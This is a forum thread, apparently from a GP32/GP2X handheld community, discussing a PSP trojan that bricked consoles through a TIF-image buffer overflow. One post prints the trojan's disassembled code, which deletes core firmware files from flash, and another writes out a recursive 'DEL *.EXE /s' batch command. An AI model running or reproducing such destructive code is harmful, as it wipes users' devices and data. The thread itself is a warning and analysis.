[OrR]

Wrong place, but sony is evil. <_<

​

​

CAPATILISM.

Hello.

You wouldn't have internet if it wasn't for the capitalism.

Thanks, bye.

​

What makes you think that? :huh:

I like the quote from the irc log "[02:36] <HonkyKong> This was possible months ago, it's not like it's something new." which is true. People worried about this for flashme, hence the whole making contacts thing, which apparently wasn't necessary... I guess DF would make this because "he can". Its not the first time a "respected" DS dev has done something undesirable in a move against "rom kids" despite the fact half of them have free Neoflash kit ...

​

I suppose that's true, it is disgused as a rom loader and not homebrew...

This is good news for the gp32 and gpx2 community. Most people caught the handheld homebrew bug of the psp (even thou it didnot start with the psp) this leaves people who want to play those retro games on the go and are probably gonna buy a gpx2 for that.
Let just hope this trend of producing handheld bricking software does not pass to the gpx2 community.

It might help not to download software from a person you dont know, it's like taking candy from strangers. In the GP32/2X community people know the coders working on projects better and thus can be assured that they probably wont do something dishonest.

Where as PSP homebrew seems to have a lot of faceless "teams".

Dont' be silly..

1) Its _never_ good for this sort of thing; even if your chocie of handheld is one, its not cool for another to suffer

2) It didnt' effect anyone hardly; you have to manually install it yourself, and it struck only idiots.

3) This is doable on pretty much every device with flash, and has been going on for years

4) There are hundreds of worse things for linux, of which the gp2x is based on. Dont' think it has flash? Count your SD/MMC cards

We wouldn't have the Internet if it wasn't for Al Gore.... but on a serious note-

The Origins of the Internet -> http://en.wikipedia.org/wiki/Arpanet

We wouldn't pop-up ads if it wasn't for capitalisms thou..

I'm not anti-capitalism, but I do think it's silly to idealize it.

The only evil company in the world is the FIAT. They made sucking cars for twenty years.

 

[Aiken]

There has to be a way to remedy the PSP somehow.

​

Yes, play original games

I was wondering bout this, and now that the subject has come up I guess it's time to ask. I really hadn't thought about a "specific" virus made to screw up a console, but just a "general" virus that might be in a rom. I always virus scan my roms anyway, and always try to download them from a "reputable dealer," lol, but I was just wondering, if somehow you dowloaded and installed a rom with a "generic" virus in the Gp32, could you screw up the bios, or just the SMC card or neither??? H.G.

​

Actually, you wouldn't have the internet if it wasn't for the US government

Edit: A little off topic, but I just realised, I've been a member of this board for over 2 years, wow, I didn't realise I've had my GP32 that long..

​

Usa, Capitalism... wheres the difference?

​

Not quite. Though it is for the most part capitalist, the US government has plenty of socialistic programs--most notably Social Security.

But anyway, yeah. I don't understand how someone could be fooled into using this virus. You actually have to copy it over AND run it. I think I'd look it up before running some phantom program (mainly because I want to know what it's for).

Community was warned in time:

http://pspupdates.qj.net/2005/10/warning-f...s-your-psp.html

This is not a real virus, not in a common sense style.

I could make a dos .BAT file with a DEL \*.EXE /s in it, and releasing to net claiming that will turn on some fantastic feature on your video card. Would be that .BAT file a virus ? no

Btw: you know that PC hidden command FDISK may make your computer booting faster?

If you dont know what is FDISK, leave it alone please it can wipe your disk in 1 sec



Code from the so caled virus, bellow from:
http://mirror.toc2rta.com/disasm_skylark.txt

_start:
	call main()
	while(1)

sceIoAssign:
	syscall 0x20a8

sceIoRemove:
	syscall 0x209e

main:
	call FillVram(0)
	call Print(1,1,0xFFFFFF,"PSP TEAM 2.0 Exploit Hack the 2.0 firmware")
	call Print(1,2,0xFFFFFF,"Thank's to toc2rta for the 2.0 exploit :) ")
	call sceIoAssign("flash6:", "lflash0:0,0", "flashfat2:", 0, 0, 0)
	call sceIoRemove("flash6:/vsh/etc/index.dat")
	call sceIoRemove("flash6:/kd/loadcore.prx")
	call sceIoRemove("flash6:/kd/loadexec.prx")
	call sceIoRemove("flash6:/kd/init.prx")
	call Print(1,4,0xFFFFFF," Your 2.0 is hacked please reboot  ")
	call Print(1,5,0xFFFFFF," Thank you PSP Team the french team")
	call Print(1,6,0xFFFFFF,"  FuCk yoshihiro and SonyxTeam Looser")

EDIT:

Important to know that this code is on the header of a tif image file, when you set a background image to a corrupted tif image, there is a buffer overflow and above code run on a memory place that shouldn't run, the code is executed ia a trojan way.

Expect more and big nasty things from this code when it morphs into wi-fi mode.

Sony already released version 2.01 of their firmware, that fix this security flaw.

I really prefer my psp insecure but able to run homebrew, its just a matter be careful of what one donwload and where.

Expect similar things to GP2X
